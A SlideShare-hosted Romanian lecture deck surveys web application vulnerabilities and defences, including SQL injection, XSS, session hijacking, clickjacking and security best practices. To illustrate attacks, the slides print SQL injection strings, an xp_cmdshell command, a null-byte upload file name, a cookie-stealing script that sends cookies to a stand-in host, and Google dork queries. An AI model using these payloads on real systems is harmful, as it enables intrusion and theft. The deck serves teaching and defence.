vulnerabilitatile
aplicatiilor web
       Dr. Sabin Buraga
    www.purl.org/net/busaco
           @busaco
“Ceea ce se vede pe un obiect
   este alt obiect ascuns.”



       René Magritte
ce inseamna securitatea datelor?
securitatea este procesul de mentinere
a unui nivel acceptabil de risc perceptibil
security is a process, not an end state

             Mitch Kabay
securitatea datelor

  confidentialitatea
    autentificarea
     autorizarea
     integritatea
    nerepudierea
intimitat...
confidentialitatea

imposibilitatea unei terte entitati sa aiba acces
   la datele vehiculate intre doi receptori
autentificarea

presupune verificarea identitatii utilizatorului
autentificarea

presupune verificarea identitatii utilizatorului

       uzual, pe baza de nume + parola
autorizarea

specifica actiunile (rolurile) pe care un utilizator
     le poate realiza intr-un anumit context
autorizarea

asociata autentificarii
integritatea

implica detectarea incercarilor de modificare
       neautorizata a datelor transmise
nerepudierea

asigura ca expeditorul unui mesaj nu poate afirma
                  ca nu l-a trimis
disponibilitatea

o anumita resursa este necesar sa poata fi accesata
              la momentul oportun
intimitatea

    vizeaza drepturile ce trebuie respectate
privind caracterul (subiectul) datelor vehiculate
intimitatea

confundata, deseori, cu confidentialitatea
securitatea web
   trebuie sa ia in consideratie

             clientul

   interactiunea cu utilizatorul
    datele perso...
securitatea web
         trebuie sa ia in consideratie

              datele in tranzit

              securitatea retelei...
securitatea web
    trebuie sa ia in consideratie

             serverul

securitatea serverului/serverelor Web
        se...
securitatea web
trebuie sa ia in consideratie


        clientul
    datele in tranzit
        serverul
securitatea web
         trebuie sa ia in consideratie


                 clientul
             datele in tranzit
        ...
vulnerabilitati

  slabiciuni ale unui sistem
hardware/software ce permit
 utilizatorilor neautorizati
   sa aiba acces as...
vulnerabilitati

  slabiciuni ale unui sistem
hardware/software ce permit
 utilizatorilor neautorizati
   sa aiba acces as...
nici un sistem nu este 100% sigur
modus operandi

   1examinarea mediului

  identificarea serviciilor publice

            descoperirea
 tipurilor + versi...
modus operandi

     2stabilirea tintei atacului

   mecanismul de autentificare (login)

cimpurile de intrare ale formul...
care sunt cele mai uzuale tipuri de atacuri?
la nivel de HTTP

analizarea pachetelor de date (network sniffing)

     functioneaza pentru fluxuri de date
             ...
Wireshark – consultarea datelor transmise in retea
la nivel de HTTP

analizarea pachetelor de date (network sniffing)

             solutie de prevenire:
                   ...
la nivel de HTTP

deturnarea sesiunilor (session hijacking)

atacatorul determina SID-ul utilizatorului
      si il folose...
la nivel de HTTP

 deturnarea sesiunilor (session hijacking)

       analizarea campului Referer
      dintr-un mesaj de c...
la nivel de HTTP

deturnarea sesiunilor (session hijacking)

          solutii de prevenire:

      eliminarea SID-ului di...
SQL injection

scrierea unor interogari SQL care permit afisarea,
  alterarea, stergerea de date din baze de date
  via fo...
SQL injection

    select * from customers
where name=$name and pass=$pass

   $name preluat din formular,
    cu valoarea...
SQL injection

http://e-bankk.org/clients.php?client=3

        in programul PHP exista:

   select credit_card from clien...
SQL injection

   http://e-bankk.org/clients.php?client=3

            in programul PHP exista:

       select credit_card...
SQL injection


                      variatie:
        crearea de interogari SQL incorecte
pentru obtinerea de mesaje de ...
SQL injection

http://www.phunds.biz/search?id=1+OR+gh=1
SQL injection

  http://www.phunds.biz/search?id=1+OR+gh=1

     atacatorul poate obtine un mesaj precum:

[Microsoft][ODB...
SQL injection

       solutii de prevenire:

neutralizarea meta-caracterelor SQL
        prepared statements
 utilizarea d...
SQL injection
incorect

       $sql = "select * from users
     where user = '" . $user . "'";


 corect

$rezultat = db_q...
SQL injection + command injection

utilizarea SQL pentru executia de comenzi
              la nivel de shell
   din cadrul...
SQL injection + command injection


SELECT * FROM users WHERE name = 'tuxy' AND
 pass = ' '; xp_cmdshell 'taskkill /F /IM
...
poisonous null-byte attack

     folosirea caracterului NULL
pentru plasarea de script-uri pe server
     ce ulterior pot ...
poisonous null-byte attack


     atacatorul realizeaza upload-ul
    unei “imagini” – img.php%00.jpg


“Thank you! See yo...
XSS: cross-site scripting


 “injectarea”, pentru executia direct
in navigatorul web, de cod JavaScript
XSS: cross-site scripting


a se vizita si http://ha.ckers.org/xss.html




          pentru exemple reale,
    a se consu...
XSS: cross-site scripting


functioneaza mai ales in cadrul
   siturilor web interactive:
 forumuri, blog-uri, wiki-uri,…
XSS: cross-site scripting


             poate conduce si
      la furtul identitatii (phishing)
sau la plasarea de cod ma...
XSS: cross-site scripting


     <img src="javascript:cod" />


un atacator poate redirectiona utilizatorul
spre alt sit, ...
XSS: cross-site scripting


<script type="text/javascript">
   document.location.replace (
      "http://phurt-uri.org/fur...
clickjacking

     folosirea de cod JavaScript pentru
a modifica textul redat de navigatorul web
   utilizatorului sau pen...
tabnabbing

recurgerea la cod JavaScript pentru a genera
    intr-un tab al navigatorului o replica
       a unui formular...
exemplu real

 pe baza unei vulnerabilitati XSS in filtrul HTML
  al MySpace, atunci cind un utilizator vizualiza
profilul...
exemplu real

                 Google UTF-7 hole
    paginile 404 oferite de Google nu specificau
             codul de ca...
probleme cauzate de URI/IRI-uri

 inducerea in eroare a utilizatorului




              exemplu:

http://www.google.com@6...
probleme cauzate de URI/IRI-uri

     codificarea defectuoasa
         a codurilor hexa
vulnerabilitati la unele servere ...
probleme cauzate de URI/IRI-uri

siturile avind domenii internationale
(IDN – International Domain Names)
   atacuri baza...
troienii web

 situri/aplicatii web aparent folositoare,
la care utilizatorul poate ajunge eventual
         via redirecta...
troienii web

extensii sau plug-in-uri care includ cod malitios
troienii web

suplimentar, pot recurge la XSS/CSRF
sau la tehnici de tip social engineering
detectarea posibilelor vulnerabilitati
    – datorate unor configuratii incorecte ori
implicite ale serverelor si/sau apli...
detectia versiunilor de software
           cu bug-uri cunoscute
       "Apache/2.0.52 server at"

           accesul la f...
localizarea interfetelor spre sistemele
             de baze de date
       inurl:main.php phpMyAdmin

    cautarea de apl...
vezi si proiectul “Google Hack” Honeypot




      http://ghh.sourceforge.net/
securitatea unei aplicatii web

trebuie sa ia in consideratie
         arhitectura,
  logica (functionalitatea),
       co...
securitatea unei aplicatii web


nu vizeaza vulnerabilitatile sistemului de operare
          ori ale programelor auxiliare
tipuri de vulnerabilitati web tipice

      probleme de autentificare

      managementul sesiunilor

     injectarea de s...
tipuri de vulnerabilitati web tipice

expunerea – involuntara – a informatiilor
   “delicate” (information disclosure)

  ...
reguli/bune practici (Sverre Huseby, 2004)

do not underestimate the power of the dark side
reguli/bune practici (Sverre Huseby, 2004)

use POST requests when actions have side effects
reguli/bune practici (Sverre Huseby, 2004)

            in a server-side context,
 there is no such thing as client-side s...
reguli/bune practici (Sverre Huseby, 2004)

      always generate a new session ID
            once the user logs in
reguli/bune practici (Sverre Huseby, 2004)

never pass detailed error messages to the client
reguli/bune practici (Sverre Huseby, 2004)

    identify every possible meta-character
                to a subsystem
reguli/bune practici (Sverre Huseby, 2004)

               when possible,
 pass data separate from control information
reguli/bune practici (Sverre Huseby, 2004)

  do not blindly trust the API documentation
reguli/bune practici (Sverre Huseby, 2004)

identify all sources of input to the application
reguli/bune practici (Sverre Huseby, 2004)

              when filtering data,
   use white-listing rather than black-list...
reguli/bune practici (Sverre Huseby, 2004)

        create application-level logs
reguli/bune practici (Sverre Huseby, 2004)

   never use client-side scripts for security
reguli/bune practici (Sverre Huseby, 2004)

pass as little internal state information as possible
                     to ...
reguli/bune practici (Sverre Huseby, 2004)

    don’t assume that requests will come
              in a certain order
reguli/bune practici (Sverre Huseby, 2004)

filter all data before including them in a web page,
               no matter ...
reguli/bune practici (Sverre Huseby, 2004)

  stick to existing cryptographic algorithms,
            do not create your o...
reguli/bune practici (Sverre Huseby, 2004)

      never store clear-text passwords
reguli/bune practici (Sverre Huseby, 2004)

   assume that server-side code is available
                 to attackers
reguli/bune practici (Sverre Huseby, 2004)

   security is not a product; it is a process
http://planet-websecurity.org/feed/

       http://www.owasp.org/

http://simonwillison.net/tags/security/
Upcoming SlideShare
Loading in …5
×

Sabin Buraga – Vulnerabilitatile aplicatiilor Web

3,915 views

Published on

A short survey on most common vulnerabilities of Web applications.

Published in: Education
0 Comments
4 Likes
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total views
3,915
On SlideShare
0
From Embeds
0
Number of Embeds
95
Actions
Shares
0
Downloads
86
Comments
0
Likes
4
Embeds 0
No embeds

No notes for slide

Sabin Buraga – Vulnerabilitatile aplicatiilor Web

  1. 1. vulnerabilitatile aplicatiilor web Dr. Sabin Buraga www.purl.org/net/busaco @busaco
  2. 2. “Ceea ce se vede pe un obiect este alt obiect ascuns.” René Magritte
  3. 3. ce inseamna securitatea datelor?
  4. 4. securitatea este procesul de mentinere a unui nivel acceptabil de risc perceptibil
  5. 5. security is a process, not an end state Mitch Kabay
  6. 6. securitatea datelor confidentialitatea autentificarea autorizarea integritatea nerepudierea intimitatea (privacy) disponibilitatea
  7. 7. confidentialitatea imposibilitatea unei terte entitati sa aiba acces la datele vehiculate intre doi receptori
  8. 8. autentificarea presupune verificarea identitatii utilizatorului
  9. 9. autentificarea presupune verificarea identitatii utilizatorului uzual, pe baza de nume + parola
  10. 10. autorizarea specifica actiunile (rolurile) pe care un utilizator le poate realiza intr-un anumit context
  11. 11. autorizarea asociata autentificarii
  12. 12. integritatea implica detectarea incercarilor de modificare neautorizata a datelor transmise
  13. 13. nerepudierea asigura ca expeditorul unui mesaj nu poate afirma ca nu l-a trimis
  14. 14. disponibilitatea o anumita resursa este necesar sa poata fi accesata la momentul oportun
  15. 15. intimitatea vizeaza drepturile ce trebuie respectate privind caracterul (subiectul) datelor vehiculate
  16. 16. intimitatea confundata, deseori, cu confidentialitatea
  17. 17. securitatea web trebuie sa ia in consideratie clientul interactiunea cu utilizatorul datele personale stocate: cookie-uri, date off-line, cache etc. transferurile asincrone via Ajax/Comet existenta plugin-urilor si/sau extensiilor suspecte …
  18. 18. securitatea web trebuie sa ia in consideratie datele in tranzit securitatea retelei schimbul sigur de mesaje intre diverse entitati ne-repudierea datelor …
  19. 19. securitatea web trebuie sa ia in consideratie serverul securitatea serverului/serverelor Web securitatea aplicatiilor disponibilitatea serviciilor
  20. 20. securitatea web trebuie sa ia in consideratie clientul datele in tranzit serverul
  21. 21. securitatea web trebuie sa ia in consideratie clientul datele in tranzit serverul atacurile pot viza oricare din cele 3 aspecte!
  22. 22. vulnerabilitati slabiciuni ale unui sistem hardware/software ce permit utilizatorilor neautorizati sa aiba acces asupra lui
  23. 23. vulnerabilitati slabiciuni ale unui sistem hardware/software ce permit utilizatorilor neautorizati sa aiba acces asupra lui pot aparea si datorita proastei administrari
  24. 24. nici un sistem nu este 100% sigur
  25. 25. modus operandi 1examinarea mediului identificarea serviciilor publice descoperirea tipurilor + versiunilor aplicatiilor generarea de erori & examinarea mesajelor obtinute gasirea de informatii sensibile: cod-sursa, comentarii, cimpuri ascunse ale formularelor,…
  26. 26. modus operandi 2stabilirea tintei atacului mecanismul de autentificare (login) cimpurile de intrare ale formularelor web managementul sesiunilor infrastructura folosita: serverele de stocare a datelor, serviciile aditionale – e.g., proxy,…
  27. 27. care sunt cele mai uzuale tipuri de atacuri?
  28. 28. la nivel de HTTP analizarea pachetelor de date (network sniffing) functioneaza pentru fluxuri de date HTTP necriptate
  29. 29. Wireshark – consultarea datelor transmise in retea
  30. 30. la nivel de HTTP analizarea pachetelor de date (network sniffing) solutie de prevenire: HTTPS folosirea HTTP peste (W)TLS (Wireless) Transport Layer Security
  31. 31. la nivel de HTTP deturnarea sesiunilor (session hijacking) atacatorul determina SID-ul utilizatorului si il foloseste in scop propriu
  32. 32. la nivel de HTTP deturnarea sesiunilor (session hijacking) analizarea campului Referer dintr-un mesaj de cerere HTTP Referer: https://www.ebank.info/view/account?id=98755 &jsessid=BAC13606AC22B81E5137F45F95EE7573
  33. 33. la nivel de HTTP deturnarea sesiunilor (session hijacking) solutii de prevenire: eliminarea SID-ului din URL stocarea SID-ului in campul User-Agent utilizarea unui SID variabil
  34. 34. SQL injection scrierea unor interogari SQL care permit afisarea, alterarea, stergerea de date din baze de date via formulare web ori direct, folosind URL-uri
  35. 35. SQL injection select * from customers where name=$name and pass=$pass $name preluat din formular, cu valoarea '' or 1=1 --
  36. 36. SQL injection http://e-bankk.org/clients.php?client=3 in programul PHP exista: select credit_card from clients where client=$client
  37. 37. SQL injection http://e-bankk.org/clients.php?client=3 in programul PHP exista: select credit_card from clients where client=$client ce se intimpla daca URI-ul este http://e-bankk.org/clients.php?client=client ?
  38. 38. SQL injection variatie: crearea de interogari SQL incorecte pentru obtinerea de mesaje de eroare “interesante”
  39. 39. SQL injection http://www.phunds.biz/search?id=1+OR+gh=1
  40. 40. SQL injection http://www.phunds.biz/search?id=1+OR+gh=1 atacatorul poate obtine un mesaj precum: [Microsoft][ODBC SQL Server Driver] [SQL Server] Invalid column name ’gh’. SELECT group_id, securityName, maxSalesCharge, price, security_id, trade_date FROM funds WHERE group_id = 1 OR gh=1 ORDER BY price DESC
  41. 41. SQL injection solutii de prevenire: neutralizarea meta-caracterelor SQL prepared statements utilizarea de framework-uri ORM (Object-Relational Mapping) recurgerea la proceduri stocate …
  42. 42. SQL injection incorect $sql = "select * from users where user = '" . $user . "'"; corect $rezultat = db_query ("select * from users where user = ?", $user);
  43. 43. SQL injection + command injection utilizarea SQL pentru executia de comenzi la nivel de shell din cadrul serverului de baze de date
  44. 44. SQL injection + command injection SELECT * FROM users WHERE name = 'tuxy' AND pass = ' '; xp_cmdshell 'taskkill /F /IM sqlservr.exe' --'
  45. 45. poisonous null-byte attack folosirea caracterului NULL pentru plasarea de script-uri pe server ce ulterior pot fi executate
  46. 46. poisonous null-byte attack atacatorul realizeaza upload-ul unei “imagini” – img.php%00.jpg “Thank you! See your picture at img.php”
  47. 47. XSS: cross-site scripting “injectarea”, pentru executia direct in navigatorul web, de cod JavaScript
  48. 48. XSS: cross-site scripting a se vizita si http://ha.ckers.org/xss.html pentru exemple reale, a se consulta http://xssed.com/
  49. 49. XSS: cross-site scripting functioneaza mai ales in cadrul siturilor web interactive: forumuri, blog-uri, wiki-uri,…
  50. 50. XSS: cross-site scripting poate conduce si la furtul identitatii (phishing) sau la plasarea de cod malware la client: CSRF – Cross-Site Request Forgery in contextul mash-up-urilor, mai ales
  51. 51. XSS: cross-site scripting <img src="javascript:cod" /> un atacator poate redirectiona utilizatorul spre alt sit, poate preia valori de cookie-uri ori poate bloca navigatorul web
  52. 52. XSS: cross-site scripting <script type="text/javascript"> document.location.replace ( "http://phurt-uri.org/furt.php" + "?c=" + document.cookie); </script> furtul de cookie-uri (hijacking cookies)
  53. 53. clickjacking folosirea de cod JavaScript pentru a modifica textul redat de navigatorul web utilizatorului sau pentru a manipula utilizatorul sa viziteze legaturi ascunse http://jeremiahgrossman.blogspot.com/2008/09/ cancelled-clickjacking-owasp-appsec.html
  54. 54. tabnabbing recurgerea la cod JavaScript pentru a genera intr-un tab al navigatorului o replica a unui formular de autentificare la un serviciu notoriu – e.g., Facebook, GMail http://www.azarask.in/blog/post/ a-new-type-of-phishing-attack/
  55. 55. exemplu real pe baza unei vulnerabilitati XSS in filtrul HTML al MySpace, atunci cind un utilizator vizualiza profilul lui Tuxy, codul JavaScript il facea automat prieten al lui Tuxy + recurgea la Ajax pentru a insera script-ul malefic in profilul curent social network worm dupa 20 de ore, 1005831 cereri MySpace s-a “prabusit”
  56. 56. exemplu real Google UTF-7 hole paginile 404 oferite de Google nu specificau codul de caractere utilizat atacurile XSS codificate ca UTF-7 puteau fi accesate si executate in cadrul Internet Explorer http://shiflett.org/blog/2005/dec/googles-xss-vulnerability
  57. 57. probleme cauzate de URI/IRI-uri inducerea in eroare a utilizatorului exemplu: http://www.google.com@63.241.3.69/
  58. 58. probleme cauzate de URI/IRI-uri codificarea defectuoasa a codurilor hexa vulnerabilitati la unele servere web
  59. 59. probleme cauzate de URI/IRI-uri siturile avind domenii internationale (IDN – International Domain Names) atacuri bazate pe homografie adobe.com ≠ adobe.com
  60. 60. troienii web situri/aplicatii web aparent folositoare, la care utilizatorul poate ajunge eventual via redirectare automata
  61. 61. troienii web extensii sau plug-in-uri care includ cod malitios
  62. 62. troienii web suplimentar, pot recurge la XSS/CSRF sau la tehnici de tip social engineering
  63. 63. detectarea posibilelor vulnerabilitati – datorate unor configuratii incorecte ori implicite ale serverelor si/sau aplicatiilor web – se poate realiza apeland la un motor de cautare
  64. 64. detectia versiunilor de software cu bug-uri cunoscute "Apache/2.0.52 server at" accesul la fisiere .bak inurl:index.php.bak detectarea paginilor de administrare "admin login " gasirea unor instalari implicite intitle:"welcome to" intitle:internet IIS
  65. 65. localizarea interfetelor spre sistemele de baze de date inurl:main.php phpMyAdmin cautarea de aplicatii instalate ori a fisierelor de jurnalizare inurl:error.log +filetype:log –cvs cautarea unor mesaje de eroare generate de aplicatii ori de servere de baze de date "ASP.NET_SessionId" "data source="
  66. 66. vezi si proiectul “Google Hack” Honeypot http://ghh.sourceforge.net/
  67. 67. securitatea unei aplicatii web trebuie sa ia in consideratie arhitectura, logica (functionalitatea), codul-sursa si continutul in ansamblu
  68. 68. securitatea unei aplicatii web nu vizeaza vulnerabilitatile sistemului de operare ori ale programelor auxiliare
  69. 69. tipuri de vulnerabilitati web tipice probleme de autentificare managementul sesiunilor injectarea de script-uri (XSS) ori comenzi SQL
  70. 70. tipuri de vulnerabilitati web tipice expunerea – involuntara – a informatiilor “delicate” (information disclosure) accesul la codul-sursa ori la fisierele de configurare a aplicatiei web managementul incorect al configuratiei aplicatiei
  71. 71. reguli/bune practici (Sverre Huseby, 2004) do not underestimate the power of the dark side
  72. 72. reguli/bune practici (Sverre Huseby, 2004) use POST requests when actions have side effects
  73. 73. reguli/bune practici (Sverre Huseby, 2004) in a server-side context, there is no such thing as client-side security
  74. 74. reguli/bune practici (Sverre Huseby, 2004) always generate a new session ID once the user logs in
  75. 75. reguli/bune practici (Sverre Huseby, 2004) never pass detailed error messages to the client
  76. 76. reguli/bune practici (Sverre Huseby, 2004) identify every possible meta-character to a subsystem
  77. 77. reguli/bune practici (Sverre Huseby, 2004) when possible, pass data separate from control information
  78. 78. reguli/bune practici (Sverre Huseby, 2004) do not blindly trust the API documentation
  79. 79. reguli/bune practici (Sverre Huseby, 2004) identify all sources of input to the application
  80. 80. reguli/bune practici (Sverre Huseby, 2004) when filtering data, use white-listing rather than black-listing
  81. 81. reguli/bune practici (Sverre Huseby, 2004) create application-level logs
  82. 82. reguli/bune practici (Sverre Huseby, 2004) never use client-side scripts for security
  83. 83. reguli/bune practici (Sverre Huseby, 2004) pass as little internal state information as possible to the client
  84. 84. reguli/bune practici (Sverre Huseby, 2004) don’t assume that requests will come in a certain order
  85. 85. reguli/bune practici (Sverre Huseby, 2004) filter all data before including them in a web page, no matter what the origin
  86. 86. reguli/bune practici (Sverre Huseby, 2004) stick to existing cryptographic algorithms, do not create your own
  87. 87. reguli/bune practici (Sverre Huseby, 2004) never store clear-text passwords
  88. 88. reguli/bune practici (Sverre Huseby, 2004) assume that server-side code is available to attackers
  89. 89. reguli/bune practici (Sverre Huseby, 2004) security is not a product; it is a process
  90. 90. http://planet-websecurity.org/feed/ http://www.owasp.org/ http://simonwillison.net/tags/security/

×